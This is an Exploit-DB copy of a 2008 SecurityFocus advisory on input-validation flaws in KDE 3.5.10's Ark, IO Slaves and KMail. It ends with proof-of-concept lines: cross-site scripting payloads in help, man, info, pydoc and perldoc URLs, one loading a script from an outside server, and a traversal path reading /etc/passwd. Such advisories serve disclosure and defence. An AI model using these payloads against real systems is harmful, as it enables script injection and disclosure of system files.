KDE Multiple Input-Validation Vulnerabilities

vendor:

KDE

by:

SecurityFocus

7.5

CVSS

HIGH

Multiple Input-Validation Vulnerabilities

CWE

Product Name: KDE

Affected Version From: 3.5.10

Affected Version To: 3.5.10

Patch Exists: YES

Related CWE: N/A

CPE: N/A

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: All

2008

KDE Multiple Input-Validation Vulnerabilities

KDE is prone to multiple input-validation vulnerabilities that affect 'Ark', 'IO Slaves', and 'Kmail'. An attacker can exploit these issues by tricking an unsuspecting victim into opening a malicious file. A successful attack will allow arbitrary attacker-supplied JavaScript to run in the context of the victim running the affected application.

Mitigation:

Users should exercise caution when opening files from untrusted sources.

Source

Exploit-DB raw data:

source: https://www.securityfocus.com/bid/36845/info

KDE is prone to multiple input-validation vulnerabilities that affect 'Ark', 'IO Slaves', and 'Kmail'.

An attacker can exploit these issues by tricking an unsuspecting victim into opening a malicious file. A successful attack will allow arbitrary attacker-supplied JavaScript to run in the context of the victim running the affected application.

pydoc:[html][body][script]alert(&#039;xss&#039;)[/script][/body][/html] - fixed in 3.5.10
man:[script src="http://server/test.js"] - fixed in 3.5.10
help:[script]alert(&#039;xss&#039;)[/script]
info:/dir/[script]alert(&#039;xss&#039;)[/script]
perldoc:[body onLoad="javascript:alert(1)"]

help:/../../../../../../../../../../../etc/passwd